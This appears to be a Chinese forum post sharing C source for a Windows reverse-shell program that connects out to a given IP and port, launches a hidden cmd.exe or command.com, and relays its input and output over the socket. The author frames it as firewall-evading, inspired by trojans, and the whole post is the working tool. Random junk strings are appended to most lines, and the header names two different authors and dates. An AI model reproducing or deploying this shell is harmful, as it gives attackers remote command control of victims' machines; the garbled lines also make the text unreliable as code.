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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。  eJ[+3Wh  
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/* ============================== %/U'Wu{*  
Rebound port in Windows NT |]:6IuslJ  
By wind,2006/7 q 7W7sw  
===============================*/ V[^AV"V  
#include `nII@ !  
#include K\RMX?YsP  
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#pragma comment(lib,"wsock32.lib") 7!o#pt7  
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void OutputShell(); rWJRoGk/  
SOCKET sClient; y q2AZ@}"  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; we}5'bS>  
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void main(int argc,char **argv) hYFi"ck  
{ 4ke.p<dG  
WSADATA stWsaData; a~VW?wq  
int nRet; <vs*aFq  
SOCKADDR_IN stSaiClient,stSaiServer; S"+#=C  
=%}(Dvjv  
if(argc != 3) $+{o*  
{ \(?d2$0m  
printf("Useage:\n\rRebound DestIP DestPort\n"); L`:V]p  
return; >)[W7h  
} qbD_  
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WSAStartup(MAKEWORD(2,2),&stWsaData); N1>M<N03  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); _M>S=3w  
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stSaiClient.sin_family = AF_INET; GAR6nJCz  
stSaiClient.sin_port = htons(0); 2nFr?Y3g,  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ( Q&jp!WU  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) C{-Dv-<A>  
{ h^."wv  
printf("Bind Socket Failed!\n"); 8BY`~TZO$q  
return; E9.1~ )  
} 2:[<E2z  
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stSaiServer.sin_family = AF_INET; *|+$7j  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); sBxCi~  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]);  )DW".c  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ]G! APE  
{ kmJ<AnK  
printf("Connect Error!"); tsB}'+!v#  
return; g]b%<DJ  
} 21?>rezJ  
OutputShell();  pXNH  
} $0M7P5]N*G  
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void OutputShell()  OtZtl* 5  
{ !cO<N~0*5x  
char szBuff[1024]; lP(<4mdP  
SECURITY_ATTRIBUTES stSecurityAttributes; M;z )c|Z  
OSVERSIONINFO stOsversionInfo; ~vZ1.y4  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; TYxi &;w  
STARTUPINFO stStartupInfo; zs-,Y@ZL  
char *szShell; cnDBT3$~Z  
PROCESS_INFORMATION stProcessInformation; pL.~z  
unsigned long lBytesRead; v`jFWq8I,  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 3\B~`=*q/  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); JS >"j d#  
stSecurityAttributes.lpSecurityDescriptor = 0; ~W gO{@Mw  
stSecurityAttributes.bInheritHandle = TRUE; 4 tt=u]:  
4 $)}d  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); &3~R-$P  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); (WGEX(|  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 2ZxZ2?.uJ  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; DY87NS*HF  
stStartupInfo.wShowWindow = SW_HIDE; b Olb  
stStartupInfo.hStdInput = hReadPipe; XOZ@ek)LY  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ~VF?T~Kr_  
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GetVersionEx(&stOsversionInfo); JkNRXC:  
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switch(stOsversionInfo.dwPlatformId) !NhVPb,  
{ ,v*\2oG3^  
case 1: m`,h nDp  
szShell = "command.com"; BQ~\p\  
break; gqAN-b'  
default: `LWbL*;Y0  
szShell = "cmd.exe"; %C >Win)g  
break; \FIOFbwe  
} z)FGbX  
!`dn# j  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); rIj B{X{Z  
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send(sClient,szMsg,77,0); d:n .Vp  
while(1) )5U7w  
{ ; JHf0  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); *_uGzGB&G  
if(lBytesRead) `$VnB  
{ qS[nf>"  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ,5|@vW2@u  
send(sClient,szBuff,lBytesRead,0); 6)3pnhG9  
} |=Pw -uk  
else Xu[A,6  
{ o l+*Oe  
lBytesRead=recv(sClient,szBuff,1024,0); SM`n:{N(  
if(lBytesRead<=0) break; .ffb*gZ4  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); W%}zwQ  
} Nu%MXu+  
} sTYA  
qP[jtRIN  
return; L8KMMYh[  
}
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